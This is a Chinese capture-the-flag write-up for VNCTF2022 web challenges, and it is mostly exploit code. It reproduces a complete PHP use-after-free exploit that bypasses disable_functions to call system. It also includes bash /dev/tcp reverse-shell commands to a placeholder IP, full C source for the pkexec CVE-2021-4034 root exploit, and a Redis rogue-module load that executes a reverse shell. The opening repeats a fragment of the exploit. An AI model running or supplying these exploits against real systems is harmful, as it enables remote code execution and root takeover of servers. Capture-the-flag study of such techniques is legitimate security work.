    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fwrite($this->hfp, "\x00");
        }
    }

    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}
?>
'''
for i in filter:
    # print(i)
    if i in payload:
        print(i)
        continue

VNCTF2022 web全复现_第38张图片

fwrite可以用fputs代替

最后payload

pwn('whoami');

function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $camd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fputs($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;

    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }

    private function go() {
        $this->abc = &$this->filtername;

        $this->make_uaf_obj();

        $this->helper = new Helper;
        $this->helper->b = function($x) {};

        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);

        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);

        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);

        $this->prepare_leaker();

        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);

        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);

        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);

        $this->cleanup();
        ($this->helper->b)(CMD);
    }

    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fputs($this->uafp, "\x00");
        }
    }

    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);

        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }

    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }

    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fputs($this->hfp, "\x00");
        }
    }

    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}

VNCTF2022 web全复现_第39张图片

VNCTF2022 web全复现_第40张图片

反弹shellpayload

pwn("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1'");

VNCTF2022 web全复现_第41张图片

发现权限不够,可以用pkexec提权

https://github.com/arthepsy/CVE-2021-4034

#include 
#include 
#include 
#include 
#include 
#include 
#include 

void fatal(char *f) {
    perror(f);
    exit(-1);
}

void compile_so() {
    FILE *f = fopen("payload.c", "wb");
    if (f == NULL) {
        fatal("fopen");
    }

    char so_code[]=
        "#include \n"
        "#include \n"
        "#include \n"
        "void gconv() {\n"
        "  return;\n"
        "}\n"
        "void gconv_init() {\n"
        "  setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        "  static char *a_argv[] = { \"sh\", NULL };\n"
        "  static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
        "  execve(\"/bin/sh\", a_argv, a_envp);\n"
        "  exit(0);\n"
        "}\n";

    fwrite(so_code, strlen(so_code), 1, f);
    fclose(f);

    system("gcc -o payload.so -shared -fPIC payload.c");
}

int main(int argc, char *argv[]) {
    struct stat st;
    char *a_argv[]={ NULL };
    char *a_envp[]={
        "lol",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=../LOL",
        "GIO_USE_VFS=",
        NULL
    };

    printf("[~] compile helper..\n");
    compile_so();

    if (stat("GCONV_PATH=.", &st) < 0) {
        if(mkdir("GCONV_PATH=.", 0777) < 0) {
            fatal("mkdir");
        }
        int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777); 
        if (fd < 0) {
            fatal("open");
        }
        close(fd);
    }

    if (stat("lol", &st) < 0) {
        if(mkdir("lol", 0777) < 0) {
            fatal("mkdir");
        }
        FILE *fp = fopen("lol/gconv-modules", "wb");
        if(fp == NULL) {
            fatal("fopen");
        }
        fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");
        fclose(fp);
    }
    printf("[~] maybe get shell now?\n");
    execve("/usr/bin/pkexec", a_argv, a_envp);
}

VNCTF2022 web全复现_第42张图片

exp我是直接通过nc开的服务下的,当然也可以直接用file_put_contents函数上传

nc -lvnp 2333 > exp.c

解法二

通过redis加载恶意.so文件

REDIS0008�	redis-ver4.0.9�
redis-bits�@�ctime³��a�used-mem€� �aof-preamble� � �  sercetye_w4nt_a_gir1fri3nd��nR�K��S

以上为secret.rdb的内容
猜测密码
ye_w4nt_a_gir1fri3nd

然后发现

redis端口不是默认的6379,需要我们自己去扫描,可以用如下脚本扫描


highlight_file(__FILE__);
for($i=0;$i<65535;$i++) {
  $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
  if($ee2 === "Address already in use") {
    var_dump($i);
  }
}

base64编码一下,然后用file_put_contents上传

url?exp=file_put_contents('port.php',base64_decode($_POST[p]));
  p=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9

VNCTF2022 web全复现_第43张图片

可以看到除了80端口还有一个8888端口,那肯定就是了,所以我们就要想办法连接redis

这时候本来想着用蚁剑上的redis插件去连接的,但是看了wp,发现蚁剑插件与redis交互是用的stream_get_contents(),但是这个函数被禁用了,所以我们就只能寻找其他可以与redis的函数

使用get_loaded_extensions()查看所有加载的拓展,看其中有没有能够与redis进行交互的

?exp=var_dump(get_loaded_extensions());
array(34) {
  string(4) "Core
  string(4) "date"
  string(6) "libxml"
  string(7) "openssl"
  string(4) "pcre"
  string(7) "sqlite3"
  string(4) "zlib"
  string(5) "ctype"
  string(4) "curl"
  string(3) "dom"
  string(8) "fileinfo"
  string(6) "filter"
  string(3) "ftp"
  string(4) "hash"
  string(5) "iconv"
  string(4) "json"
  string(8) "mbstring"
  string(3) "SPL"
  string(3) "PDO"
  string(7) "session"
  string(5) "posix"
  string(10) "Reflection"
  string(8) "standard"
  string(9) "SimpleXML"
  string(10) "pdo_sqlite"
  string(4) "Phar"
  string(9) "tokenizer"
  string(3) "xml"
  string(9) "xmlreader"
  string(9) "xmlwriter"
  string(7) "mysqlnd"
  string(14) "apache2handler"
  string(5) "redis" <<<<<<<<<<
  string(6) "sodium"
}

可以看到这里有个redis拓展,很明显我们可以利用它,查阅一下使用文档

https://blog.csdn.net/raoxiaoya/article/details/100515541

https://learnku.com/articles/32113

可以看看这两篇文章,一篇讲拓展的基础使用,一篇文章讲述php-redis执行原生的redis指令

VNCTF2022 web全复现_第44张图片

现在就是写个php脚本去加载恶意so文件了

$redis = new Redis();
$redis->connect('127.0.0.1',8888);
$redis->auth('ye_w4nt_a_gir1fri3nd');
$redis->rawCommand('module','load','/var/www/html/exp.so');
$redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/xxxxxxxxx/2333 <&1'");

然后就是通过file_put_contents上传恶意so文件了

https://github.com/n0b0dyCN/redis-rogue-server

VNCTF2022 web全复现_第45张图片

git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server/
cat exp.so|base64

VNCTF2022 web全复现_第46张图片

然后用rawCommand执行redis命令

VNCTF2022 web全复现_第47张图片

成功连上,这里有个坑,就是post传参的时候记得要把它进行url编码一下,避免其中的特殊字符如=或者+等的影响

image-20220406195411052

?exp=file_put_contents('1.php',base64_decode($_POST[p]));

highlight_file(__FILE__); $redis = new Redis(); $redis->connect('127.0.0.1',8888); $redis->auth('ye_w4nt_a_gir1fri3nd'); $redis->rawCommand('module','load','/var/www/html/exp.so'); $redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/xxxxxxxx/2333 <&1'");

后面的解法就跟前面一样了,使用pkexec提权

你可能感兴趣的:(WP,java,go,node.js,php)